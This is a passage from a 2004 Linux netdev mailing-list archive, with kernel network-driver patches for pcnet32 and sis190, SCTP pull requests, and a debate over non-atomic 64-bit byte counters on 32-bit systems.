switch(cmd) { - case SIOCGMIIPHY: /* Get address of MII PHY in use. */ - data->phy_id = (phyaddr >> 5) & 0x1f; - /* Fall Through */ - case SIOCGMIIREG: /* Read MII PHY register. */ - lp->a.write_bcr (ioaddr, 33, ((data->phy_id & 0x1f) << 5) | (data->reg_num & 0x1f)); - data->val_out = lp->a.read_bcr (ioaddr, 34); - lp->a.write_bcr (ioaddr, 33, phyaddr); - return 0; - case SIOCSMIIREG: /* Write MII PHY register. */ - if (!capable(CAP_NET_ADMIN)) - return -EPERM; - lp->a.write_bcr (ioaddr, 33, ((data->phy_id & 0x1f) << 5) | (data->reg_num & 0x1f)); - lp->a.write_bcr (ioaddr, 34, data->val_in); - lp->a.write_bcr (ioaddr, 33, phyaddr); - return 0; - default: - return -EOPNOTSUPP; - } + spin_lock_irqsave(&lp->lock, flags); + rc = generic_mii_ioctl(&lp->mii_if, data, cmd, NULL); + spin_unlock_irqrestore(&lp->lock, flags); + } else { + rc = -EOPNOTSUPP; } - return -EOPNOTSUPP; + + return rc; } static void pcnet32_watchdog(struct net_device *dev) { struct pcnet32_private *lp = dev->priv; + unsigned long flags; /* Print the link status if it has changed */ - if (lp->mii) + if (lp->mii) { + spin_lock_irqsave(&lp->lock, flags); mii_check_media (&lp->mii_if, 1, 0); + spin_unlock_irqrestore(&lp->lock, flags); + } mod_timer (&(lp->watchdog_timer), PCNET32_WATCHDOG_TIMEOUT); } -- Don Fry brazilnut@us.ibm.com From jt@bougret.hpl.hp.com Wed Feb 18 14:38:37 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 18 Feb 2004 14:38:43 -0800 (PST) Received: from palrel10.hp.com (palrel10.hp.com [156.153.255.245]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1IMcRKO003168 for ; Wed, 18 Feb 2004 14:38:27 -0800 Received: from tomil.hpl.hp.com (tomil.hpl.hp.com [15.0.152.100]) by palrel10.hp.com (Postfix) with ESMTP id 202B01C03210; Wed, 18 Feb 2004 14:16:42 -0800 (PST) Received: from bougret.hpl.hp.com (bougret.hpl.hp.com [15.4.92.227]) by tomil.hpl.hp.com (8.9.3 (PHNE_29774)/8.9.3 HPLabs Timeshare Server) with ESMTP id OAA04876; Wed, 18 Feb 2004 14:16:41 -0800 (PST) Received: from jt by bougret.hpl.hp.com with local (Exim 3.35 #1 (Debian)) id 1AtZzl-0000Qg-00; Wed, 18 Feb 2004 14:16:41 -0800 Date: Wed, 18 Feb 2004 14:16:41 -0800 To: Stephen Hemminger Cc: Jeff Garzik , netdev@oss.sgi.com, Linux kernel mailing list Subject: Re: [BUG] 2.6.3 + hp100 -> Oops Message-ID: <20040218221641.GA1182@bougret.hpl.hp.com> Reply-To: jt@hpl.hp.com References: <20040218201559.GA31872@bougret.hpl.hp.com> <20040218124034.05c9f6aa@dell_ss3.pdx.osdl.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040218124034.05c9f6aa@dell_ss3.pdx.osdl.net> User-Agent: Mutt/1.3.28i Organisation: HP Labs Palo Alto Address: HP Labs, 1U-17, 1501 Page Mill road, Palo Alto, CA 94304, USA. E-mail: jt@hpl.hp.com From: Jean Tourrilhes X-archive-position: 3365 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jt@bougret.hpl.hp.com Precedence: bulk X-list: netdev On Wed, Feb 18, 2004 at 12:40:34PM -0800, Stephen Hemminger wrote: > > This should fix the problem... The multi-bus probe logic error handling was > botched. Thanks. The driver now seems to works. However, the kernel messages no longer show the device name... Thanks. Jean From root@chaos.analogic.com Wed Feb 18 14:42:06 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 18 Feb 2004 14:42:15 -0800 (PST) Received: from chaos.analogic.com (chaos.analogic.com [204.178.40.224]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1IMg5KO003526 for ; Wed, 18 Feb 2004 14:42:06 -0800 Received: (from root@localhost) by chaos.analogic.com (8.11.0.Beta3(chaos.analogic.com)/8.12.0.A) id i1IMjG127818; Wed, 18 Feb 2004 17:45:16 -0500 Date: Wed, 18 Feb 2004 17:45:16 -0500 (EST) From: "Richard B. Johnson" X-X-Sender: root@chaos Reply-To: root@chaos.analogic.com To: Markus =?ISO-8859-1?Q?H=E4stbacka?= cc: Kernel Mailinglist , netdev@oss.sgi.com Subject: Re: [NET] 64 bit byte counter for 2.6.3 In-Reply-To: <1077137014.18843.10.camel@midux> Message-ID: References: <1077123078.9223.7.camel@midux> <20040218101711.25dda791@dell_ss3.pdx.osdl.net> <1077137014.18843.10.camel@midux> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=X-UNKNOWN Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from QUOTED-PRINTABLE to 8bit by oss.sgi.com id i1IMg5KO003526 X-archive-position: 3366 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: root@chaos.analogic.com Precedence: bulk X-list: netdev On Wed, 18 Feb 2004, Markus [ISO-8859-1] Hästbacka wrote: > On Wed, 2004-02-18 at 22:32, Richard B. Johnson wrote: > > Manipulation of a 'long long' is not atomic in 32 bit architectures. > > Please explain how we don't care, if we shouldn't care. Also some > > /proc entries might get read incorrectly with existing tools. > Please, tell me all the tools, I'll test them. ifconfig and netstat > works correctly atleast. > Hum, they will work when they see 2^64 written in ASCII in /proc/net/dev ? I doubt that. Have you ever even seen 64-bit ASCII? The largest unsigned long long will be 18446744073709551615. If it's read with 32-bit tools (sscanf), it will read 4294967295. > And about the caring, is rx/tx bytes so important that they can't use > long long? I would care to see more than 4GB, and maybe some error in > the counter at some point (Have you _ever_ seen that happen?) than only > 4GB. > The 32-bit wrap is a serious problem. It can't be ignored. The writing of any multiple-part variable in the kernel can be interrupted at any time. Interrupting half-written variables can have dire consequences. Let's pretend that gcc knows how to write a long-long with minimum overhead..... high word is in edx and the low word is in eax. The memory variable is addressed by ebx.... addl %eax, (%ebx) # Sum low word adcl %edx, 0x04(%ebx) # Sum CY and high Now, get interrupted... addl %eax, (%ebx) # Sum low word ->>> interrupt <<<-- Do some code that adds more stuff to the variable.... Return to the interrupted code. adcl %edx, 0x04(%ebx) # Sum CY and high The memory variable is now wrong. If it's an event counter, maybe it doesn't make any difference. That's what needs to be addressed. You can't just dismiss it. Any time you write code that knowingly results in the wrong results, its impact needs to be fully understood. Changing a bunch of variables in a 32-bit machine to 64-bit ones is a major change, regardless of how trivial it may seem. You need to make a spin-locked thingy for every variable you want to manipulate if the result needs to be correct. > And no, I didn't post this to be merged into the mainline kernel, just > to let users know that there maybe is an option for seeing maximum 4GB. > > This has been working for me since, umm.. let's say 2.4.20. All the > tools I've needed have worked. Just wait until your packet count is 4294967296. It will likely read 0. When 4294967297, may read 1. That's off by quite a bit. > > Markus > Cheers, Dick Johnson Penguin : Linux version 2.4.24 on an Intel Pentium III machine (797.90 BogoMips). Note 96.31% of all statistics are fiction. From shemminger@osdl.org Wed Feb 18 14:42:11 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 18 Feb 2004 14:42:19 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1IMgBKO003531 for ; Wed, 18 Feb 2004 14:42:11 -0800 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i1IMeqE24836; Wed, 18 Feb 2004 14:40:52 -0800 Date: Wed, 18 Feb 2004 14:40:52 -0800 From: Stephen Hemminger To: jt@hpl.hp.com Cc: jt@bougret.hpl.hp.com, Jeff Garzik , netdev@oss.sgi.com, Linux kernel mailing list Subject: Re: [BUG] 2.6.3 + hp100 -> Oops Message-Id: <20040218144052.2cc12a31@dell_ss3.pdx.osdl.net> In-Reply-To: <20040218221641.GA1182@bougret.hpl.hp.com> References: <20040218201559.GA31872@bougret.hpl.hp.com> <20040218124034.05c9f6aa@dell_ss3.pdx.osdl.net> <20040218221641.GA1182@bougret.hpl.hp.com> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.9claws (GTK+ 1.2.10; i386-redhat-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3367 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev On Wed, 18 Feb 2004 14:16:41 -0800 Jean Tourrilhes wrote: > On Wed, Feb 18, 2004 at 12:40:34PM -0800, Stephen Hemminger wrote: > > > > This should fix the problem... The multi-bus probe logic error handling was > > botched. > > Thanks. The driver now seems to works. However, the kernel > messages no longer show the device name... That is a generic problem that can't easily be fixed since the device name isn't assigned till board is registered which happens after successful probe. From shemminger@osdl.org Wed Feb 18 14:58:28 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 18 Feb 2004 14:58:32 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1IMwRKO005599 for ; Wed, 18 Feb 2004 14:58:28 -0800 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i1IMveE29382; Wed, 18 Feb 2004 14:57:40 -0800 Date: Wed, 18 Feb 2004 14:57:40 -0800 From: Stephen Hemminger To: root@chaos.analogic.com Cc: Markus =?ISO-8859-1?Q?H=E4stbacka?= , Kernel Mailinglist , netdev@oss.sgi.com Subject: Re: [NET] 64 bit byte counter for 2.6.3 Message-Id: <20040218145740.6b47c218@dell_ss3.pdx.osdl.net> In-Reply-To: References: <1077123078.9223.7.camel@midux> <20040218101711.25dda791@dell_ss3.pdx.osdl.net> <1077137014.18843.10.camel@midux> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.9claws (GTK+ 1.2.10; i386-redhat-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i1IMwRKO005599 X-archive-position: 3368 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev On Wed, 18 Feb 2004 17:45:16 -0500 (EST) "Richard B. Johnson" wrote: > On Wed, 18 Feb 2004, Markus [ISO-8859-1] Hästbacka wrote: > > > On Wed, 2004-02-18 at 22:32, Richard B. Johnson wrote: > > > Manipulation of a 'long long' is not atomic in 32 bit architectures. > > > Please explain how we don't care, if we shouldn't care. Also some > > > /proc entries might get read incorrectly with existing tools. > > Please, tell me all the tools, I'll test them. ifconfig and netstat > > works correctly atleast. > > > > Hum, they will work when they see 2^64 written in ASCII in /proc/net/dev ? > I doubt that. Have you ever even seen 64-bit ASCII? > > The largest unsigned long long will be 18446744073709551615. > If it's read with 32-bit tools (sscanf), it will read 4294967295. > > > And about the caring, is rx/tx bytes so important that they can't use > > long long? I would care to see more than 4GB, and maybe some error in > > the counter at some point (Have you _ever_ seen that happen?) than only > > 4GB. > > > > The 32-bit wrap is a serious problem. It can't be ignored. The writing > of any multiple-part variable in the kernel can be interrupted at > any time. Interrupting half-written variables can have dire > consequences. Let's pretend that gcc knows how to write a long-long > with minimum overhead..... high word is in edx and the low word is > in eax. The memory variable is addressed by ebx.... > > addl %eax, (%ebx) # Sum low word > adcl %edx, 0x04(%ebx) # Sum CY and high > > Now, get interrupted... > > addl %eax, (%ebx) # Sum low word > ->>> interrupt <<<-- > > Do some code that adds more stuff to > the variable.... > > Return to the interrupted code. > > adcl %edx, 0x04(%ebx) # Sum CY and high > > The memory variable is now wrong. If it's an event counter, maybe > it doesn't make any difference. That's what needs to be addressed. > You can't just dismiss it. Any time you write code that knowingly > results in the wrong results, its impact needs to be fully understood. > > Changing a bunch of variables in a 32-bit machine to 64-bit ones > is a major change, regardless of how trivial it may seem. > > You need to make a spin-locked thingy for every variable you > want to manipulate if the result needs to be correct. > > > And no, I didn't post this to be merged into the mainline kernel, just > > to let users know that there maybe is an option for seeing maximum 4GB. > > > > This has been working for me since, umm.. let's say 2.4.20. All the > > tools I've needed have worked. > > Just wait until your packet count is 4294967296. It will likely read 0. > When 4294967297, may read 1. That's off by quite a bit. > > > > > Markus > > > > Cheers, > Dick Johnson > Penguin : Linux version 2.4.24 on an Intel Pentium III machine (797.90 BogoMips). > Note 96.31% of all statistics are fiction. > Do it right: * use per-cpu long long for both bytes and packet counts and change each driver ... * expose both a new 64 bit and legacy 32 bit /proc interface * no tools use /sys yet, so that needs to show long long * have both a get_stats and get_stats64 hook in netdevice so not all drivers have to be converted at once. From sri@us.ibm.com Wed Feb 18 15:15:59 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 18 Feb 2004 15:16:06 -0800 (PST) Received: from e3.ny.us.ibm.com (e3.ny.us.ibm.com [32.97.182.103]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1INFwKO007218 for ; Wed, 18 Feb 2004 15:15:58 -0800 Received: from northrelay04.pok.ibm.com (northrelay04.pok.ibm.com [9.56.224.206]) by e3.ny.us.ibm.com (8.12.10/8.12.2) with ESMTP id i1INFmnD762344; Wed, 18 Feb 2004 18:15:48 -0500 Received: from w-sridhar.beaverton.ibm.com (d01av02.pok.ibm.com [9.56.224.216]) by northrelay04.pok.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i1INFqOO083156; Wed, 18 Feb 2004 18:15:53 -0500 Date: Wed, 18 Feb 2004 15:15:46 -0800 (PST) From: Sridhar Samudrala X-X-Sender: sridhar@localhost.localdomain To: davem@redhat.com cc: netdev@oss.sgi.com Subject: [BK PATCH] 2.4 SCTP fixes Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 3369 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: sri@us.ibm.com Precedence: bulk X-list: netdev Dave, I have updated lksctp 2.4 BK tree to 2.4.25 and pulled in the SCTP csets that were excluded by Marcelo due to the config problem. On top of this, the following 2 patches are applied. - Revert to kmalloc() for ssnmap allocs of < 128K - Fix syntax errors in net/sctp/Config.in I am not pushing in the Config patch that will force enable crypto options needed by SCTP as 'make xconfig' is having problems with this patch although make oldconfig and make menuconfig seem to be OK. Please pull these csets from http://linux-lksctp.bkbits.net/lksctp-2.4.work ChangeSet@1.1329, 2004-02-18 14:17:28-08:00, sri@us.ibm.com [SCTP] Fix syntax errors in net/sctp Config.in. ChangeSet@1.1328, 2004-02-18 12:03:04-08:00, sri@us.ibm.com Cset include: sri@us.ibm.com|ChangeSet|20040216054112|09098 Cset include: sri@us.ibm.com|ChangeSet|20040213195328|09088 Cset include: sri@us.ibm.com|ChangeSet|20040213011231|09074 Cset include: sri@us.ibm.com|ChangeSet|20040213005510|09081 Cset include: sri@us.ibm.com|ChangeSet|20040213003759|09793 ChangeSet@1.1327, 2004-02-18 11:58:13-08:00, sri@us.ibm.com Merge us.ibm.com:/home/sridhar/BK/linux-2.4 into us.ibm.com:/home/sridhar/BK/lksctp-2.4.25 ChangeSet@1.1312.1.2, 2004-02-18 11:52:44-08:00, sri@us.ibm.com Cset exclude: sri@us.ibm.com|ChangeSet|20040216054112|09098 ChangeSet@1.1312.1.1, 2004-02-15 21:41:12-08:00, sri@us.ibm.com [SCTP] Revert back to use kmalloc() for ssnmap allocs of sizes < 128K Thanks Sridhar From brazilnut@us.ibm.com Wed Feb 18 15:26:33 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 18 Feb 2004 15:26:37 -0800 (PST) Received: from e32.co.us.ibm.com (e32.co.us.ibm.com [32.97.110.130]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1INQRKO007740 for ; Wed, 18 Feb 2004 15:26:33 -0800 Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.17.195.11]) by e32.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i1INQJFD079784; Wed, 18 Feb 2004 18:26:19 -0500 Received: from DYN318364BLD.beaverton.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay02.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i1INQIug150790; Wed, 18 Feb 2004 16:26:19 -0700 Received: (from donf@localhost) by DYN318364BLD.beaverton.ibm.com (8.11.6/8.11.6) id i1INPfm03930; Wed, 18 Feb 2004 15:25:41 -0800 From: Don Fry Message-Id: <200402182325.i1INPfm03930@DYN318364BLD.beaverton.ibm.com> Subject: [PATCH] 2.6.3 pcnet32.c SLAB_DEBUG length error fix To: tsbogend@alpha.franken.de, jgarzik@pobox.com, netdev@oss.sgi.com Date: Wed, 18 Feb 2004 15:25:41 -0800 (PST) X-Mailer: ELM [version 2.5 PL6] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 3370 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: brazilnut@us.ibm.com Precedence: bulk X-list: netdev The pcnet32 driver uses the incorrect length (of zero) in pci_[un]map_single for receive buffers. This is seen with SLAB_DEBUG enabled. Tested in IA32 system. If this patch is not applied after my previous one hunks #1, #3, and #5 will have an offset of -2 lines. --- linux-2.6.3/drivers/net/fail.pcnet32.c Wed Feb 18 15:14:07 2004 +++ linux-2.6.3/drivers/net/pcnet32.c Wed Feb 18 15:14:33 2004 @@ -1008,9 +1008,10 @@ } if (lp->rx_dma_addr[i] == 0) - lp->rx_dma_addr[i] = pci_map_single(lp->pci_dev, rx_skbuff->tail, rx_skbuff->len, PCI_DMA_FROMDEVICE); + lp->rx_dma_addr[i] = pci_map_single(lp->pci_dev, + rx_skbuff->tail, PKT_BUF_SZ-2, PCI_DMA_FROMDEVICE); lp->rx_ring[i].base = (u32)le32_to_cpu(lp->rx_dma_addr[i]); - lp->rx_ring[i].buf_length = le16_to_cpu(-PKT_BUF_SZ); + lp->rx_ring[i].buf_length = le16_to_cpu(2-PKT_BUF_SZ); lp->rx_ring[i].status = le16_to_cpu(0x8000); } /* The Tx buffer address is filled in as needed, but we do need to clear @@ -1346,13 +1347,14 @@ if ((newskb = dev_alloc_skb (PKT_BUF_SZ))) { skb_reserve (newskb, 2); skb = lp->rx_skbuff[entry]; - pci_unmap_single(lp->pci_dev, lp->rx_dma_addr[entry], skb->len, PCI_DMA_FROMDEVICE); + pci_unmap_single(lp->pci_dev, lp->rx_dma_addr[entry], + PKT_BUF_SZ-2, PCI_DMA_FROMDEVICE); skb_put (skb, pkt_len); lp->rx_skbuff[entry] = newskb; newskb->dev = dev; lp->rx_dma_addr[entry] = pci_map_single(lp->pci_dev, newskb->tail, - newskb->len, PCI_DMA_FROMDEVICE); + PKT_BUF_SZ-2, PCI_DMA_FROMDEVICE); lp->rx_ring[entry].base = le32_to_cpu(lp->rx_dma_addr[entry]); rx_in_place = 1; } else @@ -1381,7 +1383,7 @@ skb_put(skb,pkt_len); /* Make room */ pci_dma_sync_single(lp->pci_dev, lp->rx_dma_addr[entry], - PKT_BUF_SZ, + PKT_BUF_SZ-2, PCI_DMA_FROMDEVICE); eth_copy_and_sum(skb, (unsigned char *)(lp->rx_skbuff[entry]->tail), @@ -1398,7 +1400,7 @@ * The docs say that the buffer length isn't touched, but Andrew Boyd * of QNX reports that some revs of the 79C965 clear it. */ - lp->rx_ring[entry].buf_length = le16_to_cpu(-PKT_BUF_SZ); + lp->rx_ring[entry].buf_length = le16_to_cpu(2-PKT_BUF_SZ); lp->rx_ring[entry].status |= le16_to_cpu(0x8000); entry = (++lp->cur_rx) & RX_RING_MOD_MASK; } @@ -1438,7 +1440,8 @@ for (i = 0; i < RX_RING_SIZE; i++) { lp->rx_ring[i].status = 0; if (lp->rx_skbuff[i]) { - pci_unmap_single(lp->pci_dev, lp->rx_dma_addr[i], lp->rx_skbuff[i]->len, PCI_DMA_FROMDEVICE); + pci_unmap_single(lp->pci_dev, lp->rx_dma_addr[i], PKT_BUF_SZ-2, + PCI_DMA_FROMDEVICE); dev_kfree_skb(lp->rx_skbuff[i]); } lp->rx_skbuff[i] = NULL; -- Don Fry brazilnut@us.ibm.com From jgarzik@pobox.com Wed Feb 18 15:51:42 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 18 Feb 2004 15:51:45 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1INpfKO008614 for ; Wed, 18 Feb 2004 15:51:42 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:39306 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1AtbTg-00006Q-GY; Wed, 18 Feb 2004 23:51:40 +0000 Message-ID: <4033FA80.6090805@pobox.com> Date: Wed, 18 Feb 2004 18:51:28 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Don Fry CC: tsbogend@alpha.franken.de, netdev@oss.sgi.com Subject: Re: [PATCH] 2.6.3 pcnet32.c SLAB_DEBUG length error fix References: <200402182325.i1INPfm03930@DYN318364BLD.beaverton.ibm.com> In-Reply-To: <200402182325.i1INPfm03930@DYN318364BLD.beaverton.ibm.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3372 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev applied to 2.6, please send 2.4 version From jgarzik@pobox.com Wed Feb 18 15:51:26 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 18 Feb 2004 15:51:35 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1INpNKO008562 for ; Wed, 18 Feb 2004 15:51:26 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:39304 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1AtbTO-00006B-52; Wed, 18 Feb 2004 23:51:22 +0000 Message-ID: <4033FA6E.1070800@pobox.com> Date: Wed, 18 Feb 2004 18:51:10 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Don Fry CC: tsbogend@alpha.franken.de, netdev@oss.sgi.com Subject: Re: [PATCH] 2.6.3 pcnet32.c bus master arbitration failure fix References: <200402182229.i1IMTRA03869@DYN318364BLD.beaverton.ibm.com> In-Reply-To: <200402182229.i1IMTRA03869@DYN318364BLD.beaverton.ibm.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3371 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev applied to 2.6, plesae send 2.4 version From jgarzik@pobox.com Wed Feb 18 15:53:40 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 18 Feb 2004 15:53:44 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1INrdKO009258 for ; Wed, 18 Feb 2004 15:53:40 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:39308 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1AtbVa-00007p-4o; Wed, 18 Feb 2004 23:53:38 +0000 Message-ID: <4033FAF6.2090200@pobox.com> Date: Wed, 18 Feb 2004 18:53:26 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Stefan Rompf CC: netdev@oss.sgi.com, ionut@cs.columbia.edu Subject: Re: Patch: netif_carrier_on()/off() for xircom_tulip_cb References: <200402151504.22648.srompf@isg.de> In-Reply-To: <200402151504.22648.srompf@isg.de> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3373 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Your two patches look OK to me, but they break my scripts. Please resend patches that may be applied with "patch -p1", not "patch -p0". Jeff From jgarzik@pobox.com Wed Feb 18 16:00:06 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 18 Feb 2004 16:00:11 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1J005KO009666 for ; Wed, 18 Feb 2004 16:00:06 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:39311 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1Atbbo-0000BA-7u; Thu, 19 Feb 2004 00:00:04 +0000 Message-ID: <4033FC78.4030502@pobox.com> Date: Wed, 18 Feb 2004 18:59:52 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Shmuel Hen CC: linux-netdev Subject: Re: [PATCH 1/3][bonding][2.6] Add support for HW accel. slaves References: <200402081811.12359.shmulik.hen@intel.com> In-Reply-To: <200402081811.12359.shmulik.hen@intel.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3374 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev applied patches 1-3 in this series to 2.6.x From romieu@fr.zoreil.com Wed Feb 18 16:08:28 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 18 Feb 2004 16:08:32 -0800 (PST) Received: from fr.zoreil.com (electric-eye.fr.zoreil.com [213.41.134.224]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1J08QKO010202 for ; Wed, 18 Feb 2004 16:08:27 -0800 Received: from electric-eye.fr.zoreil.com (localhost.localdomain [127.0.0.1]) by fr.zoreil.com (8.12.8/8.12.1) with ESMTP id i1J05Lgf023092; Thu, 19 Feb 2004 01:05:21 +0100 Received: (from romieu@localhost) by electric-eye.fr.zoreil.com (8.12.8/8.12.1) id i1J05LAl023091; Thu, 19 Feb 2004 01:05:21 +0100 Date: Thu, 19 Feb 2004 01:05:21 +0100 From: Francois Romieu To: netdev@oss.sgi.com Cc: Jeff Garzik Subject: [PATCH] 2.6.3 - drivers/net/sis190.c - Tx desc overflow Message-ID: <20040219010521.A23025@electric-eye.fr.zoreil.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i X-Organisation: Land of Sunshine Inc. X-archive-position: 3375 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: romieu@fr.zoreil.com Precedence: bulk X-list: netdev Tx descriptor overflow - take II. Assume tp->dirty_tx = NUM_TX_DESC/2, tp->cur_tx = NUM_TX_DESC - 1, watch "entry" go beyond NUM_TX_DESC. Actually this is where the same bug in r8169 driver comes from. drivers/net/sis190.c | 6 +++--- 1 files changed, 3 insertions(+), 3 deletions(-) diff -puN drivers/net/sis190.c~sis190-tx-desc-overflow drivers/net/sis190.c --- linux-2.6.3/drivers/net/sis190.c~sis190-tx-desc-overflow 2004-02-19 00:49:25.000000000 +0100 +++ linux-2.6.3-fr/drivers/net/sis190.c 2004-02-19 00:52:32.000000000 +0100 @@ -955,8 +955,7 @@ static void SiS190_tx_interrupt(struct net_device *dev, struct sis190_private *tp, void *ioaddr) { - unsigned long dirty_tx, tx_left = 0; - int entry = tp->cur_tx % NUM_TX_DESC; + unsigned long dirty_tx, tx_left; assert(dev != NULL); assert(tp != NULL); @@ -966,6 +965,8 @@ SiS190_tx_interrupt(struct net_device *d tx_left = tp->cur_tx - dirty_tx; while (tx_left > 0) { + int entry = dirty_tx % NUM_TX_DESC; + if ((le32_to_cpu(tp->TxDescArray[entry].status) & 